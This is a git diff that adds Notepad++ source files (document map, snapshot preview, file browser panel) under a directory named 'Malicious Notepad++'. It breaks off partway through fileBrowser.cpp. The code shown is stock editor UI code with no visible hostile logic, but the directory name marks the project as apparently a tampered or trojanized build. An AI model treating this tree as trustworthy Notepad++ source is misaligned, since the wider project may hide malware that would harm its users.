--git a/Malicious Notepad++/src/WinControls/DocumentMap/documentMap_rc.h b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap_rc.h new file mode 100644 index 0000000..d490db5 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentMap_rc.h @@ -0,0 +1,32 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#define IDD_DOCUMENTMAP 3300 +#define IDD_VIEWZONE 3320 +#define IDC_VIEWZONECANVAS (IDD_VIEWZONE + 1) diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.cpp b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.cpp new file mode 100644 index 0000000..de2d0ce --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.cpp @@ -0,0 +1,191 @@ +// This file is part of Notepad++ project +// Copyright (C)2003-2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "documentSnapshot.h" +#include "ScintillaEditView.h" + +INT_PTR CALLBACK DocumentPeeker::run_dlgProc(UINT message, WPARAM /*wParam*/, LPARAM /*lParam*/) +{ + switch (message) + { + case WM_INITDIALOG : + { + HWND hwndScintilla = reinterpret_cast(::SendMessage(_hParent, NPPM_CREATESCINTILLAHANDLE, 0, reinterpret_cast(_hSelf))); + _pPeekerView = reinterpret_cast(::SendMessage(_hParent, NPPM_INTERNAL_GETSCINTEDTVIEW, 0, reinterpret_cast(hwndScintilla))); + _pPeekerView->execute(SCI_SETZOOM, static_cast(-10), 0); + _pPeekerView->execute(SCI_SETVSCROLLBAR, FALSE, 0); + _pPeekerView->execute(SCI_SETHSCROLLBAR, FALSE, 0); + + _pPeekerView->showIndentGuideLine(false); + + ::MoveWindow(_pPeekerView->getHSelf(), 0, 0, _rc.right - _rc.left, _rc.bottom - _rc.top, TRUE); + _pPeekerView->display(); + } + break; + } + return FALSE; +} + +void DocumentPeeker::doDialog(POINT p, Buffer *pBuf, ScintillaEditView & scintSource) +{ + if (!isCreated()) + { + create(IDD_DOCUMENTSNAPSHOT); + } + + syncDisplay(pBuf, scintSource); + // Adjust the position of DocumentPeeker + goTo(p); +} + +void DocumentPeeker::goTo(POINT p) +{ + ::SetWindowPos(_hSelf, HWND_TOP, p.x, p.y + 10, _rc.right - _rc.left, _rc.bottom - _rc.top, SWP_SHOWWINDOW); +} + + +void DocumentPeeker::syncDisplay(Buffer *buf, ScintillaEditView & scintSource) +{ + if (_pPeekerView) + { + _pPeekerView->execute(SCI_SETDOCPOINTER, 0, static_cast(buf->getDocument())); + _pPeekerView->setCurrentBuffer(buf); + + // + // folding + // + const std::vector & lineStateVector = buf->getHeaderLineState(&scintSource); + _pPeekerView->syncFoldStateWith(lineStateVector); + + // + // Wraping & scrolling + // + MapPosition mp = buf->getMapPosition(); + if (mp.isValid() && mp.canScroll()) + { + scrollSnapshotWith(mp); + } + + Buffer *buf = _pPeekerView->getCurrentBuffer(); + _pPeekerView->defineDocType(buf->getLangType()); + _pPeekerView->showMargin(ScintillaEditView::_SC_MARGE_FOLDER, false); + + _pPeekerView->showMargin(0, false); + _pPeekerView->showMargin(1, false); + _pPeekerView->showMargin(2, false); + _pPeekerView->showMargin(3, false); + + _pPeekerView->execute(SCI_SETCARETSTYLE, CARETSTYLE_INVISIBLE); + Window::display(); + } +} + + +void DocumentPeeker::scrollSnapshotWith(const MapPosition & mapPos) +{ + if (_pPeekerView) + { + bool hasBeenChanged = false; + // + // if window size has been changed, resize windows + // + if (mapPos._height != -1 && _rc.bottom != _rc.top + mapPos._height) + { + _rc.bottom = _rc.top + mapPos._height; + hasBeenChanged = true; + } + if (mapPos._width != -1 && _rc.right != _rc.left + mapPos._width) + { + _rc.right = _rc.left + mapPos._width; + hasBeenChanged = true; + } + if (hasBeenChanged) + ::MoveWindow(_pPeekerView->getHSelf(), 0, 0, _rc.right - _rc.left, _rc.bottom - _rc.top, TRUE); + // + // Wrapping + // + _pPeekerView->wrap(mapPos._isWrap); + _pPeekerView->execute(SCI_SETWRAPINDENTMODE, mapPos._wrapIndentMode); + + // + // Reset to zero + // + _pPeekerView->execute(SCI_HOMEDISPLAY); + + // + // Visible line for the code view + // + + // scroll to the first visible display line + _pPeekerView->execute(SCI_LINESCROLL, 0, mapPos._firstVisibleDisplayLine); + + } +} + +void DocumentPeeker::saveCurrentSnapshot(ScintillaEditView & editView) +{ + if (_pPeekerView) + { + Buffer *buffer = editView.getCurrentBuffer(); + MapPosition mapPos = buffer->getMapPosition(); + + // First visible document line for scrolling to this line + mapPos._firstVisibleDisplayLine = static_cast(editView.execute(SCI_GETFIRSTVISIBLELINE)); + mapPos._firstVisibleDocLine = static_cast(editView.execute(SCI_DOCLINEFROMVISIBLE, mapPos._firstVisibleDisplayLine)); + mapPos._nbLine = static_cast(editView.execute(SCI_LINESONSCREEN, mapPos._firstVisibleDisplayLine)); + mapPos._lastVisibleDocLine = static_cast(editView.execute(SCI_DOCLINEFROMVISIBLE, mapPos._firstVisibleDisplayLine + mapPos._nbLine)); + + auto lineHeight = _pPeekerView->execute(SCI_TEXTHEIGHT, mapPos._firstVisibleDocLine); + mapPos._height = static_cast(mapPos._nbLine * lineHeight); + + // Width + RECT editorRect; + editView.getClientRect(editorRect); + int marginWidths = 0; + for (int m = 0; m < 4; ++m) + { + marginWidths += static_cast(editView.execute(SCI_GETMARGINWIDTHN, m)); + } + double editViewWidth = editorRect.right - editorRect.left - marginWidths; + double editViewHeight = editorRect.bottom - editorRect.top; + mapPos._width = static_cast((editViewWidth / editViewHeight) * static_cast(mapPos._height)); + + mapPos._wrapIndentMode = static_cast(editView.execute(SCI_GETWRAPINDENTMODE)); + mapPos._isWrap = static_cast(editView.isWrap()); + if (editView.isWrap()) + { + mapPos._higherPos = static_cast(editView.execute(SCI_POSITIONFROMPOINT, 0, 0)); + } + + // Length of document + mapPos._KByteInDoc = editView.getCurrentDocLen() / 1024; + + // set current map position in buffer + buffer->setMapPosition(mapPos); + } +} diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.h b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.h new file mode 100644 index 0000000..0851d50 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.h @@ -0,0 +1,65 @@ +// This file is part of Notepad++ project +// Copyright (C)2003-2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "documentSnapshot_rc.h" +#include "StaticDialog.h" + +class ScintillaEditView; +class Buffer; +struct MapPosition; + + +class DocumentPeeker : public StaticDialog { +public: + DocumentPeeker(): StaticDialog() {}; + + void init(HINSTANCE hInst, HWND hPere) { + Window::init(hInst, hPere); + }; + + void doDialog(POINT p, Buffer *buf, ScintillaEditView & scintSource); + + void syncDisplay(Buffer *buf, ScintillaEditView & scintSource); + + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + void scrollSnapshotWith(const MapPosition & mapPos); + void saveCurrentSnapshot(ScintillaEditView & editView); + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void goTo(POINT p); + +private: + ScintillaEditView *_pPeekerView = nullptr; +}; diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.rc b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.rc new file mode 100644 index 0000000..4ab7384 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot.rc @@ -0,0 +1,37 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "documentSnapshot_rc.h" + + +IDD_DOCUMENTSNAPSHOT DIALOGEX 26, 41, 140, 140 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_BORDER | WS_SYSMENU +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN +END diff --git a/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot_rc.h b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot_rc.h new file mode 100644 index 0000000..68dd55e --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DocumentMap/documentSnapshot_rc.h @@ -0,0 +1,32 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#define IDD_DOCUMENTSNAPSHOT 3600 + + diff --git a/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.cpp b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.cpp new file mode 100644 index 0000000..50e96f4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.cpp @@ -0,0 +1,1529 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "fileBrowser.h" +#include "resource.h" +#include "tinyxml.h" +#include "FileDialog.h" +#include "localization.h" +#include "Parameters.h" +#include "RunDlg.h" +#include "ReadDirectoryChanges.h" +#include "menuCmdID.h" + +#define CX_BITMAP 16 +#define CY_BITMAP 16 + +#define INDEX_OPEN_ROOT 0 +#define INDEX_CLOSE_ROOT 1 +#define INDEX_OPEN_NODE 2 +#define INDEX_CLOSE_NODE 3 +#define INDEX_LEAF 4 + + +#define GET_X_LPARAM(lp) static_cast(LOWORD(lp)) +#define GET_Y_LPARAM(lp) static_cast(HIWORD(lp)) + +#define FB_ADDFILE (WM_USER + 1024) +#define FB_RMFILE (WM_USER + 1025) +#define FB_RNFILE (WM_USER + 1026) + +FileBrowser::~FileBrowser() +{ + for (size_t i = 0; i < _folderUpdaters.size(); ++i) + { + _folderUpdaters[i]->stopWatcher(); + delete _folderUpdaters[i]; + } +} + +vector split(const generic_string & string2split, TCHAR sep) +{ + vector splitedStrings; + size_t len = string2split.length(); + size_t beginPos = 0; + for (size_t i = 0; i < len + 1; ++i) + { + if (string2split[i] == sep || string2split[i] == '\0') + { + splitedStrings.push_back(string2split.substr(beginPos, i - beginPos)); + beginPos = i + 1; + } + } + return splitedStrings; +}; + +INT_PTR CALLBACK FileBrowser::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + FileBrowser::initPopupMenus(); + + _treeView.init(_hInst, _hSelf, ID_FILEBROWSERTREEVIEW); + setImageList(IDI_FB_ROOTOPEN, IDI_FB_ROOTCLOSE, IDI_PROJECT_FOLDEROPEN, IDI_PROJECT_FOLDERCLOSE, IDI_PROJECT_FILE); + + _treeView.addCanNotDropInList(INDEX_OPEN_ROOT); + _treeView.addCanNotDropInList(INDEX_CLOSE_ROOT); + _treeView.addCanNotDropInList(INDEX_OPEN_NODE); + _treeView.addCanNotDropInList(INDEX_CLOSE_NODE); + _treeView.addCanNotDropInList(INDEX_LEAF); + + _treeView.addCanNotDragOutList(INDEX_OPEN_ROOT); + _treeView.addCanNotDragOutList(INDEX_CLOSE_ROOT); + _treeView.addCanNotDragOutList(INDEX_OPEN_NODE); + _treeView.addCanNotDragOutList(INDEX_CLOSE_NODE); + _treeView.addCanNotDragOutList(INDEX_LEAF); + + _treeView.makeLabelEditable(false); + _treeView.display(); + + return TRUE; + } + + case WM_MOUSEMOVE: + if (_treeView.isDragging()) + _treeView.dragItem(_hSelf, LOWORD(lParam), HIWORD(lParam)); + break; + case WM_LBUTTONUP: + if (_treeView.isDragging()) + if (_treeView.dropItem()) + { + + } + break; + + case WM_NOTIFY: + { + notified((LPNMHDR)lParam); + } + return TRUE; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + + HWND hwnd = _treeView.getHSelf(); + if (hwnd) + ::MoveWindow(hwnd, 0, 0, width, height, TRUE); + break; + } + + case WM_CONTEXTMENU: + if (!_treeView.isDragging()) + showContextMenu(GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam)); + return TRUE; + + case WM_COMMAND: + { + popupMenuCmd(LOWORD(wParam)); + break; + } + + case WM_DESTROY: + { + _treeView.destroy(); + destroyMenus(); + break; + } + + case FB_ADDFILE: + { + const std::vector file2Change = *(std::vector *)lParam; + generic_string separator = TEXT("\\\\"); + + size_t sepPos = file2Change[0].find(separator); + if (sepPos == generic_string::npos) + return false; + + generic_string pathSuffix = file2Change[0].substr(sepPos + separator.length(), file2Change[0].length() - 1); + + // remove prefix of file/folder in changeInfo, splite the remained path + vector linarPathArray = split(pathSuffix, '\\'); + + generic_string rootPath = file2Change[0].substr(0, sepPos); + generic_string path = rootPath; + + generic_string addedFilePath = file2Change[0].substr(0, sepPos + 1); + addedFilePath += pathSuffix; + bool isAdded = addInTree(rootPath, addedFilePath, nullptr, linarPathArray); + if (not isAdded) + { + //MessageBox(NULL, addedFilePath.c_str(), TEXT("file/folder is not added"), MB_OK); + } + break; + } + + case FB_RMFILE: + { + const std::vector file2Change = *(std::vector *)lParam; + generic_string separator = TEXT("\\\\"); + + size_t sepPos = file2Change[0].find(separator); + if (sepPos == generic_string::npos) + return false; + + generic_string pathSuffix = file2Change[0].substr(sepPos + separator.length(), file2Change[0].length() - 1); + + // remove prefix of file/folder in changeInfo, splite the remained path + vector linarPathArray = split(pathSuffix, '\\'); + + generic_string rootPath = file2Change[0].substr(0, sepPos); + // search recursively and modify the tree structure + + bool isRemoved = deleteFromTree(rootPath, nullptr, linarPathArray); + if (not isRemoved) + { + //MessageBox(NULL, file2Change[0].c_str(), TEXT("file/folder is not removed"), MB_OK); + } + break; + } + + case FB_RNFILE: + { + const std::vector file2Change = *(std::vector *)lParam; + generic_string separator = TEXT("\\\\"); + + size_t sepPos = file2Change[0].find(separator); + if (sepPos == generic_string::npos) + return false; + + generic_string pathSuffix = file2Change[0].substr(sepPos + separator.length(), file2Change[0].length() - 1); + + // remove prefix of file/folder in changeInfo, splite the remained path + vector linarPathArray = split(pathSuffix, '\\'); + + generic_string rootPath = file2Change[0].substr(0, sepPos); + + size_t sepPos2 = file2Change[1].find(separator); + if (sepPos2 == generic_string::npos) + return false; + + generic_string pathSuffix2 = file2Change[1].substr(sepPos2 + separator.length(), file2Change[1].length() - 1); + vector linarPathArray2 = split(pathSuffix2, '\\'); + + bool isRenamed = renameInTree(rootPath, nullptr, linarPathArray, linarPathArray2[linarPathArray2.size() - 1]); + if (not isRenamed) + { + //MessageBox(NULL, file2Change[0].c_str(), TEXT("file/folder is not removed"), MB_OK); + } + break; + } + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + +void FileBrowser::initPopupMenus() +{ + _hGlobalMenu = ::CreatePopupMenu(); + ::InsertMenu(_hGlobalMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_ADDROOT, TEXT("Add")); + ::InsertMenu(_hGlobalMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_REMOVEALLROOTS, TEXT("Remove All")); + + _hRootMenu = ::CreatePopupMenu(); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_REMOVEROOTFOLDER, TEXT("Remove")); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_COPYEPATH, TEXT("Copy path")); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_FINDINFILES, TEXT("Find in Files...")); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_EXPLORERHERE, TEXT("Explorer here")); + ::InsertMenu(_hRootMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_CMDHERE, TEXT("CMD here")); + + _hFolderMenu = ::CreatePopupMenu(); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_COPYEPATH, TEXT("Copy path")); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_FINDINFILES, TEXT("Find in Files...")); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_EXPLORERHERE, TEXT("Explorer here")); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_CMDHERE, TEXT("CMD here")); + + _hFileMenu = ::CreatePopupMenu(); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_OPENINNPP, TEXT("Open")); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_COPYEPATH, TEXT("Copy path")); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_SHELLEXECUTE, TEXT("Run by system")); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_EXPLORERHERE, TEXT("Explorer here")); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_FILEBROWSER_CMDHERE, TEXT("CMD here")); +} + + +BOOL FileBrowser::setImageList(int root_clean_id, int root_dirty_id, int open_node_id, int closed_node_id, int leaf_id) +{ + HBITMAP hbmp; + COLORREF maskColour = RGB(192, 192, 192); + const int nbBitmaps = 5; + + // Creation of image list + if ((_hImaLst = ImageList_Create(CX_BITMAP, CY_BITMAP, ILC_COLOR32 | ILC_MASK, nbBitmaps, 0)) == NULL) + return FALSE; + + // Add the bmp in the list + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(root_clean_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(root_dirty_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(open_node_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(closed_node_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(leaf_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + if (ImageList_GetImageCount(_hImaLst) < nbBitmaps) + return FALSE; + + // Set image list to the tree view + TreeView_SetImageList(_treeView.getHSelf(), _hImaLst, TVSIL_NORMAL); + + return TRUE; +} + + +void FileBrowser::destroyMenus() +{ + ::DestroyMenu(_hGlobalMenu); + ::DestroyMenu(_hRootMenu); + ::DestroyMenu(_hFolderMenu); + ::DestroyMenu(_hFileMenu); +} + +generic_string FileBrowser::getNodePath(HTREEITEM node) const +{ + if (not node) return TEXT(""); + + vector fullPathArray; + generic_string fullPath; + + // go up until to root, then get the full path + HTREEITEM parent = node; + for (; parent != nullptr;) + { + generic_string folderName = _treeView.getItemDisplayName(parent); + + HTREEITEM temp = _treeView.getParent(parent); + if (temp == nullptr) + { + LPARAM param = _treeView.getItemParam(parent); + folderName = (param == 0) ? TEXT("") : *((generic_string *)param); + } + parent = temp; + fullPathArray.push_back(folderName); + } + + + for (int i = int(fullPathArray.size()) - 1; i >= 0; --i) + { + fullPath += fullPathArray[i]; + if (i != 0) + fullPath += TEXT("\\"); + } + + return fullPath; +} + +void FileBrowser::openSelectFile() +{ + // Get the selected item + HTREEITEM selectedNode = _treeView.getSelection(); + if (not selectedNode) return; + + generic_string fullPath = getNodePath(selectedNode); + + // test the path - if it's a file, open it, otherwise just fold or unfold it + if (not ::PathFileExists(fullPath.c_str())) + return; + if (::PathIsDirectory(fullPath.c_str())) + return; + + ::SendMessage(_hParent, NPPM_DOOPEN, 0, reinterpret_cast(fullPath.c_str())); +} + + +void FileBrowser::notified(LPNMHDR notification) +{ + if (notification->code == DMN_CLOSE) + { + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FILEBROWSER, 0); + } + else if ((notification->hwndFrom == _treeView.getHSelf())) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT | TVIF_PARAM; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + + switch (notification->code) + { + case NM_DBLCLK: + { + openSelectFile(); + } + break; + + case TVN_ENDLABELEDIT: + { + LPNMTVDISPINFO tvnotif = (LPNMTVDISPINFO)notification; + if (!tvnotif->item.pszText) + return; + if (getNodeType(tvnotif->item.hItem) == browserNodeType_root) + return; + + // Processing for only File case + if (tvnotif->item.lParam) + { + // Get the old label + tvItem.hItem = _treeView.getSelection(); + ::SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + size_t len = lstrlen(tvItem.pszText); + + // Find the position of old label in File path + generic_string *filePath = (generic_string *)tvnotif->item.lParam; + size_t found = filePath->rfind(tvItem.pszText); + + // If found the old label, replace it with the modified one + if (found != generic_string::npos) + filePath->replace(found, len, tvnotif->item.pszText); + + // Check the validity of modified file path + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + if (::PathFileExists(filePath->c_str())) + { + tvItem.iImage = INDEX_LEAF; + tvItem.iSelectedImage = INDEX_LEAF; + } + else + { + //TODO: remove it + } + TreeView_SetItem(_treeView.getHSelf(), &tvItem); + } + + // For File, Folder and Project + ::SendMessage(_treeView.getHSelf(), TVM_SETITEM, 0, reinterpret_cast(&(tvnotif->item))); + } + break; + + case TVN_GETINFOTIP: + { + LPNMTVGETINFOTIP lpGetInfoTip = (LPNMTVGETINFOTIP)notification; + static generic_string tipStr; + BrowserNodeType nType = getNodeType(lpGetInfoTip->hItem); + if (nType == browserNodeType_root) + { + tipStr = *((generic_string *)lpGetInfoTip->lParam); + } + else if (nType == browserNodeType_file) + { + tipStr = getNodePath(lpGetInfoTip->hItem); + } + else + return; + lpGetInfoTip->pszText = (LPTSTR)tipStr.c_str(); + lpGetInfoTip->cchTextMax = static_cast(tipStr.size()); + } + break; + + + case TVN_KEYDOWN: + { + LPNMTVKEYDOWN ptvkd = (LPNMTVKEYDOWN)notification; + + if (ptvkd->wVKey == VK_RETURN) + { + HTREEITEM hItem = _treeView.getSelection(); + BrowserNodeType nType = getNodeType(hItem); + if (nType == browserNodeType_file) + openSelectFile(); + else + _treeView.toggleExpandCollapse(hItem); + } + /* + else if (ptvkd->wVKey == VK_DELETE) + { + HTREEITEM hItem = _treeView.getSelection(); + BrowserNodeType nType = getNodeType(hItem); + if (nType == browserNodeType_folder) + popupMenuCmd(IDM_FILEBROWSER_DELETEFOLDER); + else if (nType == browserNodeType_file) + popupMenuCmd(IDM_FILEBROWSER_DELETEFILE); + } + else if (ptvkd->wVKey == VK_UP) + { + if (0x80 & GetKeyState(VK_CONTROL)) + { + popupMenuCmd(IDM_FILEBROWSER_MOVEUP); + } + } + else if (ptvkd->wVKey == VK_DOWN) + { + if (0x80 & GetKeyState(VK_CONTROL)) + { + popupMenuCmd(IDM_FILEBROWSER_MOVEDOWN); + } + } + else if (ptvkd->wVKey == VK_F2) + popupMenuCmd(IDM_FILEBROWSER_RENAME); + */ + } + break; + + case TVN_ITEMEXPANDED: + { + LPNMTREEVIEW nmtv = (LPNMTREEVIEW)notification; + tvItem.hItem = nmtv->itemNew.hItem; + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + + if (getNodeType(nmtv->itemNew.hItem) == browserNodeType_folder) + { + if (nmtv->action == TVE_COLLAPSE) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_CLOSE_NODE, INDEX_CLOSE_NODE); + } + else if (nmtv->action == TVE_EXPAND) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_OPEN_NODE, INDEX_OPEN_NODE); + } + } + else if (getNodeType(nmtv->itemNew.hItem) == browserNodeType_root) + { + if (nmtv->action == TVE_COLLAPSE) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_CLOSE_ROOT, INDEX_CLOSE_ROOT); + } + else if (nmtv->action == TVE_EXPAND) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_OPEN_ROOT, INDEX_OPEN_ROOT); + } + } + } + break; + + case TVN_BEGINDRAG: + { + //printStr(TEXT("hello")); + _treeView.beginDrag((LPNMTREEVIEW)notification); + + } + break; + } + } +} + +BrowserNodeType FileBrowser::getNodeType(HTREEITEM hItem) +{ + 